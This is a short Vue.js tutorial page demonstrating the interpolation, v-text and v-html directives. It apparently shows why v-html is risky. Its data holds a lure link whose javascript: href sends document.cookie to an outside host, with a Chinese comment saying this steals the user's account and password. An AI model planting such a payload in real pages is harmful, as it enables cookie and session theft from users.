<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
    <div id="root">
        <div>你好，{{name}}</div>
        <div v-text="name"></div>
        <div v-html="str"></div>
    </div>
    <script src="../js/vue.js"></script>
    <script>
            Vue.config.productionTip=false//阻止vue启动时产生提示
            new Vue({
                 el: "#root",
                 data:{//数据
                      name:'11111',
                     //偷取cookie的值得到用户名账号密码
                      str:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟，点这里有资源</a>'
                    },
                 methods:{//方法

                 },
                 computed:{//计算

                 },
                 watch:{//监视

                 }
             })
    </script>

</body>
</html>